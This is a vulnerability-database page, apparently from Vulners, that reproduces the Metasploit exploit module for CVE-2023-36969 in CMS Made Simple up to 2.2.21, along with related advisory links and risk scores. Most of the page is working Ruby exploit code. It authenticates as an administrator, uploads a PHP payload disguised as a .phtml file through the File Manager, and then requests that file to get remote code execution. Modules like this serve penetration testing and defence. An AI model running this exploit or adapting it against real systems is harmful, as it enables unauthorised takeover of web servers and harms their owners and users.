Lucene search
K

CmsMadeSimple Authenticated File Manager RCE

🗓️ 28 Mar 2025 18:50:03Reported by Okan Kurtuluş, Mirabbas Ağalarov, tastyriceType 
metasploit
 metasploit
🔗 www.rapid7.com👁 407 Views

CMS Made Simple versions before 2.2.22 allow RCE via file upload by authenticated users.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-36969
6 Jul 202315:15
attackerkb
Circl
CVE-2023-36969
28 Mar 202511:31
circl
CNNVD
CMS Made Simple 代码问题漏洞
6 Jul 202300:00
cnnvd
CVE
CVE-2023-36969
6 Jul 202300:00
cve
Cvelist
CVE-2023-36969
6 Jul 202300:00
cvelist
NVD
CVE-2023-36969
6 Jul 202315:15
nvd
OSV
CVE-2023-36969
6 Jul 202315:15
osv
Packet Storm
CMS Made Simple 2.2.21 Remote Code Execution
28 Mar 202500:00
packetstorm
Prion
Design/Logic Flaw
6 Jul 202315:15
prion
Positive Technologies
PT-2023-25757 · Unknown · Cms Made Simple
6 Jul 202300:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
        'Description' => %q{
          CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
          with the .phar or .phtml extensions, enabling execution of PHP code
          leading to RCE. The file can be executed by accessing its URL in the
          /uploads/ directory.

          Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Okan Kurtuluş',	# Initial research
          'Mirabbas Ağalarov',	# EDB PoC
          'tastyrice'	# Metasploit Module
        ],
        'References' => [
          ['CVE', '2023-36969'],
          ['EDB', '51600']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'Universal', {}
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2023-06-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'keep_cookies' => true
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '', 'index.php'),
      'method' => 'GET'
    )
    unless res && res.code == 200
      vprint_error('Connection Failed')
      return CheckCode::Unknown('Could not connect to the target')
    end

    set_cookie = res.get_cookies
    return CheckCode::Safe('The target is not vulnerable') unless set_cookie&.match?(/^CMSSESSID/)

    html = res.get_html_document
    version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    return CheckCode::Appears('The target is running a vulnerable version') if version <= Rex::Version.new('2.2.21')

    CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
      'method' => 'POST',
      'vars_post' => data,
      'keep_cookies' => true
    )
    fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}

    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication was successful")
  end

  def send_file
    filename = "#{rand_text_alpha(8..12)}.phtml"
    c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
    payload = get_write_exec_payload(unlink_self: true)

    # create the message with payload
    message = Rex::MIME::Message.new
    message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
    message.add_part(c, nil, nil, 'form-data; name="__c"')
    message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
    message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
    vprint_good("#{peer} - File uploaded #{filename}")

    # open shell
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'uploads', filename),
      'method' => 'GET'
    )
    return unless res && res.code == 404

    print_error("Shell #{shell_name} not found")
  end

  def exploit
    login
    send_file
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:01Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.8
EPSS0.44811
SSVC
407